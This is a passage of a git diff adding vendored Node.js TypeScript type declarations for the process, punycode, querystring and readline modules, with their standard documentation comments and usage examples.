undefined; + memoryUsage: MemoryUsageFn; + /** + * Gets the amount of memory available to the process (in bytes) based on + * limits imposed by the OS. If there is no such constraint, or the constraint + * is unknown, `0` is returned. + * + * See [`uv_get_constrained_memory`](https://docs.libuv.org/en/v1.x/misc.html#c.uv_get_constrained_memory) for more + * information. + * @since v19.6.0, v18.15.0 + * @experimental + */ + constrainedMemory(): number; + /** + * Gets the amount of free memory that is still available to the process (in bytes). + * See [`uv_get_available_memory`](https://nodejs.org/docs/latest-v22.x/api/process.html#processavailablememory) for more information. + * @experimental + * @since v20.13.0 + */ + availableMemory(): number; + /** + * The `process.cpuUsage()` method returns the user and system CPU time usage of + * the current process, in an object with properties `user` and `system`, whose + * values are microsecond values (millionth of a second). These values measure time + * spent in user and system code respectively, and may end up being greater than + * actual elapsed time if multiple CPU cores are performing work for this process. + * + * The result of a previous call to `process.cpuUsage()` can be passed as the + * argument to the function, to get a diff reading. + * + * ```js + * import { cpuUsage } from 'node:process'; + * + * const startUsage = cpuUsage(); + * // { user: 38579, system: 6986 } + * + * // spin the CPU for 500 milliseconds + * const now = Date.now(); + * while (Date.now() - now < 500); + * + * console.log(cpuUsage(startUsage)); + * // { user: 514883, system: 11226 } + * ``` + * @since v6.1.0 + * @param previousValue A previous return value from calling `process.cpuUsage()` + */ + cpuUsage(previousValue?: CpuUsage): CpuUsage; + /** + * `process.nextTick()` adds `callback` to the "next tick queue". This queue is + * fully drained after the current operation on the JavaScript stack runs to + * completion and before the event loop is allowed to continue. It's possible to + * create an infinite loop if one were to recursively call `process.nextTick()`. + * See the [Event Loop](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/#process-nexttick) guide for more background. + * + * ```js + * import { nextTick } from 'node:process'; + * + * console.log('start'); + * nextTick(() => { + * console.log('nextTick callback'); + * }); + * console.log('scheduled'); + * // Output: + * // start + * // scheduled + * // nextTick callback + * ``` + * + * This is important when developing APIs in order to give users the opportunity + * to assign event handlers _after_ an object has been constructed but before any + * I/O has occurred: + * + * ```js + * import { nextTick } from 'node:process'; + * + * function MyThing(options) { + * this.setupOptions(options); + * + * nextTick(() => { + * this.startDoingStuff(); + * }); + * } + * + * const thing = new MyThing(); + * thing.getReadyForStuff(); + * + * // thing.startDoingStuff() gets called now, not before. + * ``` + * + * It is very important for APIs to be either 100% synchronous or 100% + * asynchronous. Consider this example: + * + * ```js + * // WARNING! DO NOT USE! BAD UNSAFE HAZARD! + * function maybeSync(arg, cb) { + * if (arg) { + * cb(); + * return; + * } + * + * fs.stat('file', cb); + * } + * ``` + * + * This API is hazardous because in the following case: + * + * ```js + * const maybeTrue = Math.random() > 0.5; + * + * maybeSync(maybeTrue, () => { + * foo(); + * }); + * + * bar(); + * ``` + * + * It is not clear whether `foo()` or `bar()` will be called first. + * + * The following approach is much better: + * + * ```js + * import { nextTick } from 'node:process'; + * + * function definitelyAsync(arg, cb) { + * if (arg) { + * nextTick(cb); + * return; + * } + * + * fs.stat('file', cb); + * } + * ``` + * @since v0.1.26 + * @param args Additional arguments to pass when invoking the `callback` + */ + nextTick(callback: Function, ...args: any[]): void; + /** + * This API is available through the [--experimental-permission](https://nodejs.org/api/cli.html#--experimental-permission) flag. + * + * `process.permission` is an object whose methods are used to manage permissions for the current process. + * Additional documentation is available in the [Permission Model](https://nodejs.org/api/permissions.html#permission-model). + * @since v20.0.0 + */ + permission: ProcessPermission; + /** + * The `process.release` property returns an `Object` containing metadata related + * to the current release, including URLs for the source tarball and headers-only + * tarball. + * + * `process.release` contains the following properties: + * + * ```js + * { + * name: 'node', + * lts: 'Hydrogen', + * sourceUrl: 'https://nodejs.org/download/release/v18.12.0/node-v18.12.0.tar.gz', + * headersUrl: 'https://nodejs.org/download/release/v18.12.0/node-v18.12.0-headers.tar.gz', + * libUrl: 'https://nodejs.org/download/release/v18.12.0/win-x64/node.lib' + * } + * ``` + * + * In custom builds from non-release versions of the source tree, only the `name` property may be present. The additional properties should not be + * relied upon to exist. + * @since v3.0.0 + */ + readonly release: ProcessRelease; + features: { + inspector: boolean; + debug: boolean; + uv: boolean; + ipv6: boolean; + tls_alpn: boolean; + tls_sni: boolean; + tls_ocsp: boolean; + tls: boolean; + }; + /** + * `process.umask()` returns the Node.js process's file mode creation mask. Child + * processes inherit the mask from the parent process. + * @since v0.1.19 + * @deprecated Calling `process.umask()` with no argument causes the process-wide umask to be written twice. This introduces a race condition between threads, and is a potential + * security vulnerability. There is no safe, cross-platform alternative API. + */ + umask(): number; + /** + * Can only be set if not in worker thread. + */ + umask(mask: string | number): number; + /** + * The `process.uptime()` method returns the number of seconds the current Node.js + * process has been running. + * + * The return value includes fractions of a second. Use `Math.floor()` to get whole + * seconds. + * @since v0.5.0 + */ + uptime(): number; + hrtime: HRTime; + /** + * If the Node.js process was spawned with an IPC channel, the process.channel property is a reference to the IPC channel. + * If no IPC channel exists, this property is undefined. + * @since v7.1.0 + */ + channel?: { + /** + * This method makes the IPC channel keep the event loop of the process running if .unref() has been called before. + * @since v7.1.0 + */ + ref(): void; + /** + * This method makes the IPC channel not keep the event loop of the process running, and lets it finish even while the channel is open. + * @since v7.1.0 + */ + unref(): void; + }; + /** + * If Node.js is spawned with an IPC channel, the `process.send()` method can be + * used to send messages to the parent process. Messages will be received as a `'message'` event on the parent's `ChildProcess` object. + * + * If Node.js was not spawned with an IPC channel, `process.send` will be `undefined`. + * + * The message goes through serialization and parsing. The resulting message might + * not be the same as what is originally sent. + * @since v0.5.9 + * @param options used to parameterize the sending of certain types of handles. `options` supports the following properties: + */ + send?( + message: any, + sendHandle?: any, + options?: { + keepOpen?: boolean | undefined; + }, + callback?: (error: Error | null) => void, + ): boolean; + /** + * If the Node.js process is spawned with an IPC channel (see the `Child Process` and `Cluster` documentation), the `process.disconnect()` method will close the + * IPC channel to the parent process, allowing the child process to exit gracefully + * once there are no other connections keeping it alive. + * + * The effect of calling `process.disconnect()` is the same as calling `ChildProcess.disconnect()` from the parent process. + * + * If the Node.js process was not spawned with an IPC channel, `process.disconnect()` will be `undefined`. + * @since v0.7.2 + */ + disconnect(): void; + /** + * If the Node.js process is spawned with an IPC channel (see the `Child Process` and `Cluster` documentation), the `process.connected` property will return `true` so long as the IPC + * channel is connected and will return `false` after `process.disconnect()` is called. + * + * Once `process.connected` is `false`, it is no longer possible to send messages + * over the IPC channel using `process.send()`. + * @since v0.7.2 + */ + connected: boolean; + /** + * The `process.allowedNodeEnvironmentFlags` property is a special, + * read-only `Set` of flags allowable within the `NODE_OPTIONS` environment variable. + * + * `process.allowedNodeEnvironmentFlags` extends `Set`, but overrides `Set.prototype.has` to recognize several different possible flag + * representations. `process.allowedNodeEnvironmentFlags.has()` will + * return `true` in the following cases: + * + * * Flags may omit leading single (`-`) or double (`--`) dashes; e.g., `inspect-brk` for `--inspect-brk`, or `r` for `-r`. + * * Flags passed through to V8 (as listed in `--v8-options`) may replace + * one or more _non-leading_ dashes for an underscore, or vice-versa; + * e.g., `--perf_basic_prof`, `--perf-basic-prof`, `--perf_basic-prof`, + * etc. + * * Flags may contain one or more equals (`=`) characters; all + * characters after and including the first equals will be ignored; + * e.g., `--stack-trace-limit=100`. + * * Flags _must_ be allowable within `NODE_OPTIONS`. + * + * When iterating over `process.allowedNodeEnvironmentFlags`, flags will + * appear only _once_; each will begin with one or more dashes. Flags + * passed through to V8 will contain underscores instead of non-leading + * dashes: + * + * ```js + * import { allowedNodeEnvironmentFlags } from 'node:process'; + * + * allowedNodeEnvironmentFlags.forEach((flag) => { + * // -r + * // --inspect-brk + * // --abort_on_uncaught_exception + * // ... + * }); + * ``` + * + * The methods `add()`, `clear()`, and `delete()` of`process.allowedNodeEnvironmentFlags` do nothing, and will fail + * silently. + * + * If Node.js was compiled _without_ `NODE_OPTIONS` support (shown in {@link config}), `process.allowedNodeEnvironmentFlags` will + * contain what _would have_ been allowable. + * @since v10.10.0 + */ + allowedNodeEnvironmentFlags: ReadonlySet; + /** + * `process.report` is an object whose methods are used to generate diagnostic reports for the current process. + * Additional documentation is available in the [report documentation](https://nodejs.org/docs/latest-v22.x/api/report.html). + * @since v11.8.0 + */ + report: ProcessReport; + /** + * ```js + * import { resourceUsage } from 'node:process'; + * + * console.log(resourceUsage()); + * /* + * Will output: + * { + * userCPUTime: 82872, + * systemCPUTime: 4143, + * maxRSS: 33164, + * sharedMemorySize: 0, + * unsharedDataSize: 0, + * unsharedStackSize: 0, + * minorPageFault: 2469, + * majorPageFault: 0, + * swappedOut: 0, + * fsRead: 0, + * fsWrite: 8, + * ipcSent: 0, + * ipcReceived: 0, + * signalsCount: 0, + * voluntaryContextSwitches: 79, + * involuntaryContextSwitches: 1 + * } + * + * ``` + * @since v12.6.0 + * @return the resource usage for the current process. All of these values come from the `uv_getrusage` call which returns a [`uv_rusage_t` struct][uv_rusage_t]. + */ + resourceUsage(): ResourceUsage; + /** + * The initial value of `process.throwDeprecation` indicates whether the `--throw-deprecation` flag is set on the current Node.js process. `process.throwDeprecation` + * is mutable, so whether or not deprecation warnings result in errors may be altered at runtime. See the documentation for the 'warning' event and the emitWarning() + * method for more information. + * + * ```bash + * $ node --throw-deprecation -p "process.throwDeprecation" + * true + * $ node -p "process.throwDeprecation" + * undefined + * $ node + * > process.emitWarning('test', 'DeprecationWarning'); + * undefined + * > (node:26598) DeprecationWarning: test + * > process.throwDeprecation = true; + * true + * > process.emitWarning('test', 'DeprecationWarning'); + * Thrown: + * [DeprecationWarning: test] { name: 'DeprecationWarning' } + * ``` + * @since v0.9.12 + */ + throwDeprecation: boolean; + /** + * The `process.traceDeprecation` property indicates whether the `--trace-deprecation` flag is set on the current Node.js process. See the + * documentation for the `'warning' event` and the `emitWarning() method` for more information about this + * flag's behavior. + * @since v0.8.0 + */ + traceDeprecation: boolean; + /* EventEmitter */ + addListener(event: "beforeExit", listener: BeforeExitListener): this; + addListener(event: "disconnect", listener: DisconnectListener): this; + addListener(event: "exit", listener: ExitListener): this; + addListener(event: "rejectionHandled", listener: RejectionHandledListener): this; + addListener(event: "uncaughtException", listener: UncaughtExceptionListener): this; + addListener(event: "uncaughtExceptionMonitor", listener: UncaughtExceptionListener): this; + addListener(event: "unhandledRejection", listener: UnhandledRejectionListener): this; + addListener(event: "warning", listener: WarningListener): this; + addListener(event: "message", listener: MessageListener): this; + addListener(event: Signals, listener: SignalsListener): this; + addListener(event: "multipleResolves", listener: MultipleResolveListener): this; + addListener(event: "worker", listener: WorkerListener): this; + emit(event: "beforeExit", code: number): boolean; + emit(event: "disconnect"): boolean; + emit(event: "exit", code: number): boolean; + emit(event: "rejectionHandled", promise: Promise): boolean; + emit(event: "uncaughtException", error: Error): boolean; + emit(event: "uncaughtExceptionMonitor", error: Error): boolean; + emit(event: "unhandledRejection", reason: unknown, promise: Promise): boolean; + emit(event: "warning", warning: Error): boolean; + emit(event: "message", message: unknown, sendHandle: unknown): this; + emit(event: Signals, signal?: Signals): boolean; + emit( + event: "multipleResolves", + type: MultipleResolveType, + promise: Promise, + value: unknown, + ): this; + emit(event: "worker", listener: WorkerListener): this; + on(event: "beforeExit", listener: BeforeExitListener): this; + on(event: "disconnect", listener: DisconnectListener): this; + on(event: "exit", listener: ExitListener): this; + on(event: "rejectionHandled", listener: RejectionHandledListener): this; + on(event: "uncaughtException", listener: UncaughtExceptionListener): this; + on(event: "uncaughtExceptionMonitor", listener: UncaughtExceptionListener): this; + on(event: "unhandledRejection", listener: UnhandledRejectionListener): this; + on(event: "warning", listener: WarningListener): this; + on(event: "message", listener: MessageListener): this; + on(event: Signals, listener: SignalsListener): this; + on(event: "multipleResolves", listener: MultipleResolveListener): this; + on(event: "worker", listener: WorkerListener): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "beforeExit", listener: BeforeExitListener): this; + once(event: "disconnect", listener: DisconnectListener): this; + once(event: "exit", listener: ExitListener): this; + once(event: "rejectionHandled", listener: RejectionHandledListener): this; + once(event: "uncaughtException", listener: UncaughtExceptionListener): this; + once(event: "uncaughtExceptionMonitor", listener: UncaughtExceptionListener): this; + once(event: "unhandledRejection", listener: UnhandledRejectionListener): this; + once(event: "warning", listener: WarningListener): this; + once(event: "message", listener: MessageListener): this; + once(event: Signals, listener: SignalsListener): this; + once(event: "multipleResolves", listener: MultipleResolveListener): this; + once(event: "worker", listener: WorkerListener): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "beforeExit", listener: BeforeExitListener): this; + prependListener(event: "disconnect", listener: DisconnectListener): this; + prependListener(event: "exit", listener: ExitListener): this; + prependListener(event: "rejectionHandled", listener: RejectionHandledListener): this; + prependListener(event: "uncaughtException", listener: UncaughtExceptionListener): this; + prependListener(event: "uncaughtExceptionMonitor", listener: UncaughtExceptionListener): this; + prependListener(event: "unhandledRejection", listener: UnhandledRejectionListener): this; + prependListener(event: "warning", listener: WarningListener): this; + prependListener(event: "message", listener: MessageListener): this; + prependListener(event: Signals, listener: SignalsListener): this; + prependListener(event: "multipleResolves", listener: MultipleResolveListener): this; + prependListener(event: "worker", listener: WorkerListener): this; + prependOnceListener(event: "beforeExit", listener: BeforeExitListener): this; + prependOnceListener(event: "disconnect", listener: DisconnectListener): this; + prependOnceListener(event: "exit", listener: ExitListener): this; + prependOnceListener(event: "rejectionHandled", listener: RejectionHandledListener): this; + prependOnceListener(event: "uncaughtException", listener: UncaughtExceptionListener): this; + prependOnceListener(event: "uncaughtExceptionMonitor", listener: UncaughtExceptionListener): this; + prependOnceListener(event: "unhandledRejection", listener: UnhandledRejectionListener): this; + prependOnceListener(event: "warning", listener: WarningListener): this; + prependOnceListener(event: "message", listener: MessageListener): this; + prependOnceListener(event: Signals, listener: SignalsListener): this; + prependOnceListener(event: "multipleResolves", listener: MultipleResolveListener): this; + prependOnceListener(event: "worker", listener: WorkerListener): this; + listeners(event: "beforeExit"): BeforeExitListener[]; + listeners(event: "disconnect"): DisconnectListener[]; + listeners(event: "exit"): ExitListener[]; + listeners(event: "rejectionHandled"): RejectionHandledListener[]; + listeners(event: "uncaughtException"): UncaughtExceptionListener[]; + listeners(event: "uncaughtExceptionMonitor"): UncaughtExceptionListener[]; + listeners(event: "unhandledRejection"): UnhandledRejectionListener[]; + listeners(event: "warning"): WarningListener[]; + listeners(event: "message"): MessageListener[]; + listeners(event: Signals): SignalsListener[]; + listeners(event: "multipleResolves"): MultipleResolveListener[]; + listeners(event: "worker"): WorkerListener[]; + } + } + } + export = process; +} +declare module "node:process" { + import process = require("process"); + export = process; +} diff --git a/node_modules/@types/node/punycode.d.ts b/node_modules/@types/node/punycode.d.ts new file mode 100644 index 000000000000..655c47b69741 --- /dev/null +++ b/node_modules/@types/node/punycode.d.ts @@ -0,0 +1,117 @@ +/** + * **The version of the punycode module bundled in Node.js is being deprecated. **In a future major version of Node.js this module will be removed. Users + * currently depending on the `punycode` module should switch to using the + * userland-provided [Punycode.js](https://github.com/bestiejs/punycode.js) module instead. For punycode-based URL + * encoding, see `url.domainToASCII` or, more generally, the `WHATWG URL API`. + * + * The `punycode` module is a bundled version of the [Punycode.js](https://github.com/bestiejs/punycode.js) module. It + * can be accessed using: + * + * ```js + * import punycode from 'node:punycode'; + * ``` + * + * [Punycode](https://tools.ietf.org/html/rfc3492) is a character encoding scheme defined by RFC 3492 that is + * primarily intended for use in Internationalized Domain Names. Because host + * names in URLs are limited to ASCII characters only, Domain Names that contain + * non-ASCII characters must be converted into ASCII using the Punycode scheme. + * For instance, the Japanese character that translates into the English word, `'example'` is `'例'`. The Internationalized Domain Name, `'例.com'` (equivalent + * to `'example.com'`) is represented by Punycode as the ASCII string `'xn--fsq.com'`. + * + * The `punycode` module provides a simple implementation of the Punycode standard. + * + * The `punycode` module is a third-party dependency used by Node.js and + * made available to developers as a convenience. Fixes or other modifications to + * the module must be directed to the [Punycode.js](https://github.com/bestiejs/punycode.js) project. + * @deprecated Since v7.0.0 - Deprecated + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/punycode.js) + */ +declare module "punycode" { + /** + * The `punycode.decode()` method converts a [Punycode](https://tools.ietf.org/html/rfc3492) string of ASCII-only + * characters to the equivalent string of Unicode codepoints. + * + * ```js + * punycode.decode('maana-pta'); // 'mañana' + * punycode.decode('--dqo34k'); // '☃-⌘' + * ``` + * @since v0.5.1 + */ + function decode(string: string): string; + /** + * The `punycode.encode()` method converts a string of Unicode codepoints to a [Punycode](https://tools.ietf.org/html/rfc3492) string of ASCII-only characters. + * + * ```js + * punycode.encode('mañana'); // 'maana-pta' + * punycode.encode('☃-⌘'); // '--dqo34k' + * ``` + * @since v0.5.1 + */ + function encode(string: string): string; + /** + * The `punycode.toUnicode()` method converts a string representing a domain name + * containing [Punycode](https://tools.ietf.org/html/rfc3492) encoded characters into Unicode. Only the [Punycode](https://tools.ietf.org/html/rfc3492) encoded parts of the domain name are be + * converted. + * + * ```js + * // decode domain names + * punycode.toUnicode('xn--maana-pta.com'); // 'mañana.com' + * punycode.toUnicode('xn----dqo34k.com'); // '☃-⌘.com' + * punycode.toUnicode('example.com'); // 'example.com' + * ``` + * @since v0.6.1 + */ + function toUnicode(domain: string): string; + /** + * The `punycode.toASCII()` method converts a Unicode string representing an + * Internationalized Domain Name to [Punycode](https://tools.ietf.org/html/rfc3492). Only the non-ASCII parts of the + * domain name will be converted. Calling `punycode.toASCII()` on a string that + * already only contains ASCII characters will have no effect. + * + * ```js + * // encode domain names + * punycode.toASCII('mañana.com'); // 'xn--maana-pta.com' + * punycode.toASCII('☃-⌘.com'); // 'xn----dqo34k.com' + * punycode.toASCII('example.com'); // 'example.com' + * ``` + * @since v0.6.1 + */ + function toASCII(domain: string): string; + /** + * @deprecated since v7.0.0 + * The version of the punycode module bundled in Node.js is being deprecated. + * In a future major version of Node.js this module will be removed. + * Users currently depending on the punycode module should switch to using + * the userland-provided Punycode.js module instead. + */ + const ucs2: ucs2; + interface ucs2 { + /** + * @deprecated since v7.0.0 + * The version of the punycode module bundled in Node.js is being deprecated. + * In a future major version of Node.js this module will be removed. + * Users currently depending on the punycode module should switch to using + * the userland-provided Punycode.js module instead. + */ + decode(string: string): number[]; + /** + * @deprecated since v7.0.0 + * The version of the punycode module bundled in Node.js is being deprecated. + * In a future major version of Node.js this module will be removed. + * Users currently depending on the punycode module should switch to using + * the userland-provided Punycode.js module instead. + */ + encode(codePoints: readonly number[]): string; + } + /** + * @deprecated since v7.0.0 + * The version of the punycode module bundled in Node.js is being deprecated. + * In a future major version of Node.js this module will be removed. + * Users currently depending on the punycode module should switch to using + * the userland-provided Punycode.js module instead. + */ + const version: string; +} +declare module "node:punycode" { + export * from "punycode"; +} diff --git a/node_modules/@types/node/querystring.d.ts b/node_modules/@types/node/querystring.d.ts new file mode 100644 index 000000000000..4d6dac18d6d7 --- /dev/null +++ b/node_modules/@types/node/querystring.d.ts @@ -0,0 +1,153 @@ +/** + * The `node:querystring` module provides utilities for parsing and formatting URL + * query strings. It can be accessed using: + * + * ```js + * import querystring from 'node:querystring'; + * ``` + * + * `querystring` is more performant than `URLSearchParams` but is not a + * standardized API. Use `URLSearchParams` when performance is not critical or + * when compatibility with browser code is desirable. + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/querystring.js) + */ +declare module "querystring" { + interface StringifyOptions { + /** + * The function to use when converting URL-unsafe characters to percent-encoding in the query string. + * @default `querystring.escape()` + */ + encodeURIComponent?: ((str: string) => string) | undefined; + } + interface ParseOptions { + /** + * Specifies the maximum number of keys to parse. Specify `0` to remove key counting limitations. + * @default 1000 + */ + maxKeys?: number | undefined; + /** + * The function to use when decoding percent-encoded characters in the query string. + * @default `querystring.unescape()` + */ + decodeURIComponent?: ((str: string) => string) | undefined; + } + interface ParsedUrlQuery extends NodeJS.Dict {} + interface ParsedUrlQueryInput extends + NodeJS.Dict< + | string + | number + | boolean + | readonly string[] + | readonly number[] + | readonly boolean[] + | null + > + {} + /** + * The `querystring.stringify()` method produces a URL query string from a + * given `obj` by iterating through the object's "own properties". + * + * It serializes the following types of values passed in `obj`: [string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type) | + * [number](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type) | + * [bigint](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) | + * [boolean](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type) | + * [string\[\]](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type) | + * [number\[\]](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type) | + * [bigint\[\]](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) | + * [boolean\[\]](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type) The numeric values must be finite. Any other input values will be coerced to + * empty strings. + * + * ```js + * querystring.stringify({ foo: 'bar', baz: ['qux', 'quux'], corge: '' }); + * // Returns 'foo=bar&baz=qux&baz=quux&corge=' + * + * querystring.stringify({ foo: 'bar', baz: 'qux' }, ';', ':'); + * // Returns 'foo:bar;baz:qux' + * ``` + * + * By default, characters requiring percent-encoding within the query string will + * be encoded as UTF-8\. If an alternative encoding is required, then an alternative `encodeURIComponent` option will need to be specified: + * + * ```js + * // Assuming gbkEncodeURIComponent function already exists, + * + * querystring.stringify({ w: '中文', foo: 'bar' }, null, null, + * { encodeURIComponent: gbkEncodeURIComponent }); + * ``` + * @since v0.1.25 + * @param obj The object to serialize into a URL query string + * @param [sep='&'] The substring used to delimit key and value pairs in the query string. + * @param [eq='='] . The substring used to delimit keys and values in the query string. + */ + function stringify(obj?: ParsedUrlQueryInput, sep?: string, eq?: string, options?: StringifyOptions): string; + /** + * The `querystring.parse()` method parses a URL query string (`str`) into a + * collection of key and value pairs. + * + * For example, the query string `'foo=bar&abc=xyz&abc=123'` is parsed into: + * + * ```json + * { + * "foo": "bar", + * "abc": ["xyz", "123"] + * } + * ``` + * + * The object returned by the `querystring.parse()` method _does not_ prototypically inherit from the JavaScript `Object`. This means that typical `Object` methods such as `obj.toString()`, + * `obj.hasOwnProperty()`, and others + * are not defined and _will not work_. + * + * By default, percent-encoded characters within the query string will be assumed + * to use UTF-8 encoding. If an alternative character encoding is used, then an + * alternative `decodeURIComponent` option will need to be specified: + * + * ```js + * // Assuming gbkDecodeURIComponent function already exists... + * + * querystring.parse('w=%D6%D0%CE%C4&foo=bar', null, null, + * { decodeURIComponent: gbkDecodeURIComponent }); + * ``` + * @since v0.1.25 + * @param str The URL query string to parse + * @param [sep='&'] The substring used to delimit key and value pairs in the query string. + * @param [eq='='] The substring used to delimit keys and values in the query string. + */ + function parse(str: string, sep?: string, eq?: string, options?: ParseOptions): ParsedUrlQuery; + /** + * The querystring.encode() function is an alias for querystring.stringify(). + */ + const encode: typeof stringify; + /** + * The querystring.decode() function is an alias for querystring.parse(). + */ + const decode: typeof parse; + /** + * The `querystring.escape()` method performs URL percent-encoding on the given `str` in a manner that is optimized for the specific requirements of URL + * query strings. + * + * The `querystring.escape()` method is used by `querystring.stringify()` and is + * generally not expected to be used directly. It is exported primarily to allow + * application code to provide a replacement percent-encoding implementation if + * necessary by assigning `querystring.escape` to an alternative function. + * @since v0.1.25 + */ + function escape(str: string): string; + /** + * The `querystring.unescape()` method performs decoding of URL percent-encoded + * characters on the given `str`. + * + * The `querystring.unescape()` method is used by `querystring.parse()` and is + * generally not expected to be used directly. It is exported primarily to allow + * application code to provide a replacement decoding implementation if + * necessary by assigning `querystring.unescape` to an alternative function. + * + * By default, the `querystring.unescape()` method will attempt to use the + * JavaScript built-in `decodeURIComponent()` method to decode. If that fails, + * a safer equivalent that does not throw on malformed URLs will be used. + * @since v0.1.25 + */ + function unescape(str: string): string; +} +declare module "node:querystring" { + export * from "querystring"; +} diff --git a/node_modules/@types/node/readline.d.ts b/node_modules/@types/node/readline.d.ts new file mode 100644 index 000000000000..02ce4d64f2cf --- /dev/null +++ b/node_modules/@types/node/readline.d.ts @@ -0,0 +1,540 @@ +/** + * The `node:readline` module provides an interface for reading data from a [Readable](https://nodejs.org/docs/latest-v22.x/api/stream.html#readable-streams) stream + * (such as [`process.stdin`](https://nodejs.org/docs/latest-v22.x/api/process.html#processstdin)) one line at a time. + * + * To use the promise-based APIs: + * + * ```js + * import * as readline from 'node:readline/promises'; + * ``` + * + * To use the callback and sync APIs: + * + * ```js + * import * as readline from 'node:readline'; + * ``` + * + * The following simple example illustrates the basic use of the `node:readline` module. + * + * ```js + * import * as readline from 'node:readline/promises'; + * import { stdin as input, stdout as output } from 'node:process'; + * + * const rl = readline.createInterface({ input, output }); + * + * const answer = await rl.question('What do you think of Node.js? '); + * + * console.log(`Thank you for your valuable feedback: ${answer}`); + * + * rl.close(); + * ``` + * + * Once this code is invoked, the Node.js application will not terminate until the `readline.Interface` is closed because the interface waits for data to be + * received on the `input` stream. + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/readline.js) + */ +declare module "readline" { + import { Abortable, EventEmitter } from "node:events"; + import * as promises from "node:readline/promises"; + export { promises }; + export interface Key { + sequence?: string | undefined; + name?: string | undefined; + ctrl?: boolean | undefined; + meta?: boolean | undefined; + shift?: boolean | undefined; + } + /** + * Instances of the `readline.Interface` class are constructed using the `readline.createInterface()` method. Every instance is associated with a + * single `input` [Readable](https://nodejs.org/docs/latest-v22.x/api/stream.html#readable-streams) stream and a single `output` [Writable](https://nodejs.org/docs/latest-v22.x/api/stream.html#writable-streams) stream. + * The `output` stream is used to print prompts for user input that arrives on, + * and is read from, the `input` stream. + * @since v0.1.104 + */ + export class Interface extends EventEmitter { + readonly terminal: boolean; + /** + * The current input data being processed by node. + * + * This can be used when collecting input from a TTY stream to retrieve the + * current value that has been processed thus far, prior to the `line` event + * being emitted. Once the `line` event has been emitted, this property will + * be an empty string. + * + * Be aware that modifying the value during the instance runtime may have + * unintended consequences if `rl.cursor` is not also controlled. + * + * **If not using a TTY stream for input, use the `'line'` event.** + * + * One possible use case would be as follows: + * + * ```js + * const values = ['lorem ipsum', 'dolor sit amet']; + * const rl = readline.createInterface(process.stdin); + * const showResults = debounce(() => { + * console.log( + * '\n', + * values.filter((val) => val.startsWith(rl.line)).join(' '), + * ); + * }, 300); + * process.stdin.on('keypress', (c, k) => { + * showResults(); + * }); + * ``` + * @since v0.1.98 + */ + readonly line: string; + /** + * The cursor position relative to `rl.line`. + * + * This will track where the current cursor lands in the input string, when + * reading input from a TTY stream. The position of cursor determines the + * portion of the input string that will be modified as input is processed, + * as well as the column where the terminal caret will be rendered. + * @since v0.1.98 + */ + readonly cursor: number; + /** + * NOTE: According to the documentation: + * + * > Instances of the `readline.Interface` class are constructed using the + * > `readline.createInterface()` method. + * + * @see https://nodejs.org/dist/latest-v22.x/docs/api/readline.html#class-interfaceconstructor + */ + protected constructor( + input: NodeJS.ReadableStream, + output?: NodeJS.WritableStream, + completer?: Completer | AsyncCompleter, + terminal?: boolean, + ); + /** + * NOTE: According to the documentation: + * + * > Instances of the `readline.Interface` class are constructed using the + * > `readline.createInterface()` method. + * + * @see https://nodejs.org/dist/latest-v22.x/docs/api/readline.html#class-interfaceconstructor + */ + protected constructor(options: ReadLineOptions); + /** + * The `rl.getPrompt()` method returns the current prompt used by `rl.prompt()`. + * @since v15.3.0, v14.17.0 + * @return the current prompt string + */ + getPrompt(): string; + /** + * The `rl.setPrompt()` method sets the prompt that will be written to `output` whenever `rl.prompt()` is called. + * @since v0.1.98 + */ + setPrompt(prompt: string): void; + /** + * The `rl.prompt()` method writes the `Interface` instances configured`prompt` to a new line in `output` in order to provide a user with a new + * location at which to provide input. + * + * When called, `rl.prompt()` will resume the `input` stream if it has been + * paused. + * + * If the `Interface` was created with `output` set to `null` or `undefined` the prompt is not written. + * @since v0.1.98 + * @param preserveCursor If `true`, prevents the cursor placement from being reset to `0`. + */ + prompt(preserveCursor?: boolean): void; + /** + * The `rl.question()` method displays the `query` by writing it to the `output`, + * waits for user input to be provided on `input`, then invokes the `callback` function passing the provided input as the first argument. + * + * When called, `rl.question()` will resume the `input` stream if it has been + * paused. + * + * If the `Interface` was created with `output` set to `null` or `undefined` the `query` is not written. + * + * The `callback` function passed to `rl.question()` does not follow the typical + * pattern of accepting an `Error` object or `null` as the first argument. + * The `callback` is called with the provided answer as the only argument. + * + * An error will be thrown if calling `rl.question()` after `rl.close()`. + * + * Example usage: + * + * ```js + * rl.question('What is your favorite food? ', (answer) => { + * console.log(`Oh, so your favorite food is ${answer}`); + * }); + * ``` + * + * Using an `AbortController` to cancel a question. + * + * ```js + * const ac = new AbortController(); + * const signal = ac.signal; + * + * rl.question('What is your favorite food? ', { signal }, (answer) => { + * console.log(`Oh, so your favorite food is ${answer}`); + * }); + * + * signal.addEventListener('abort', () => { + * console.log('The food question timed out'); + * }, { once: true }); + * + * setTimeout(() => ac.abort(), 10000); + * ``` + * @since v0.3.3 + * @param query A statement or query to write to `output`, prepended to the prompt. + * @param callback A callback function that is invoked with the user's input in response to the `query`. + */ + question(query: string, callback: (answer: string) => void): void; + question(query: string, options: Abortable, callback: (answer: string) => void): void; + /** + * The `rl.pause()` method pauses the `input` stream, allowing it to be resumed + * later if necessary. + * + * Calling `rl.pause()` does not immediately pause other events (including `'line'`) from being emitted by the `Interface` instance. + * @since v0.3.4 + */ + pause(): this; + /** + * The `rl.resume()` method resumes the `input` stream if it has been paused. + * @since v0.3.4 + */ + resume(): this; + /** + * The `rl.close()` method closes the `Interface` instance and + * relinquishes control over the `input` and `output` streams. When called, + * the `'close'` event will be emitted. + * + * Calling `rl.close()` does not immediately stop other events (including `'line'`) + * from being emitted by the `Interface` instance. + * @since v0.1.98 + */ + close(): void; + /** + * The `rl.write()` method will write either `data` 